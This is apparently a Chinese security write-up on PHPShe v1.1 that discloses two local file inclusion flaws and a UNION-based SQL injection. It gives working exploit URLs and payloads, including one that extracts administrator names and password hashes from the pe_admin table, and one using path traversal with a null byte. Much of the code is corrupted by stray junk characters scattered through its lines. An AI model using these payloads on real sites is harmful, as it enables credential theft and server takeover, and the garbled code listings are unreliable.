phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
1 i6 x9 c+ x; h. {: S# P/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
; i7 U" y$ m/ _+ M9 \+ ]/*******************************************************/
0×00 整体大概参数传输
! p6 D/ d; [. n3 E


//common.php
if (get_magic_quotes_gpc()) {
. B/ P; C& e9 t+ }4 T0 j!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
0 E# N% b6 @; D" V. L8 i9 W/ ?5 V!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
2 G6 d* U$ f2 Z2 ~0 l2 o3 f- M4 s1 k% d}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
/ F3 [. Y( {1 P7 M4 a/ Z6 g!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
# G8 {. c" |- p0 K
0×01 包含漏洞
- i4 v* {0 Y5 M- [) w

//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
5 K; b# Z, p; i+ W2 T$ Fpe_result();
- x. \  M4 {; ]8 E! h1 |?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
( a# _/ A$ d1 X: I$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
8 r+ z2 T% p/ }  j7 G$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
/ t3 U- y2 S7 |& r  x; k$ r0 i# x* i' b//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

( d+ g* u3 [% e/ W: F
/ I" [0 @& h4 E 0×02 搜索注入
- n) ?9 u! n7 ^& S2 p+ ^( f+ O7 B
<code id="code2">

//product.php文件
( Y7 N( t) R4 j' B2 Ecase 'list':
$category_id = intval($id);
1 k5 y3 ^9 J& {% n  H$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
; d0 M; n1 Q! Y! G% Q1 Oif ($category_id) {
/ z1 L6 R# k0 Z- [( P* ewhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
3 z3 V  c: u8 X" l* X+ n}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
5 }" `9 Y- h( f2 ^+ o& J9 b2 z- A$orderby = explode('_', $_g_orderby);
3 b/ b% J! g$ e: q, _$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
2 n- \8 N2 o. ^' |0 ielse {
  h' k. R$ n8 q0 V+ A; C$sqlwhere .= " order by `product_id` desc";
3 y# D% D. r1 K& N' G" {' [. i}
. g" I  C. |/ o; C- _: A* Q$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
8 D% v1 n4 c! j# ]4 w//热卖排行
- a9 M% @/ U, k$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
" O) G' b- H- u$ I2 \& xpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
3 Z9 b% p: _$ q4 H8 L//处理条件语句
' a. U# }" u0 ]0 a; W$sqlwhere = $this->_dowhere($where);
/ l" d+ a$ y! @, U$ ~  Sreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
% f- Q8 g; Z5 z+ T; t- `: F! Y: Wproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
0 e# A; D" W" g& Z# z" B
' K5 X& _- g8 V0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

, p9 S0 a6 h  p1 p0 o: E$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

% N: N0 A7 |4 t8 Jif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

  `- \$ V: [5 Y$order['order_name'] .= "{$v['product_name']};";
' l$ m, K& J) @1 i" D' C5 ~

, X9 ~5 {7 l. S% W! u% ~' |}

: g; N# G8 J+ X" H- `+ iecho '正在为您连接支付网站，请稍后...';

* I1 |; _8 m! Z! rinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

4 n  b$ B  m' F: S7 f  Yelse {

( g; w  Y- z, l7 Npe_error('支付错误...');

}

. i, e8 e  G* S}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg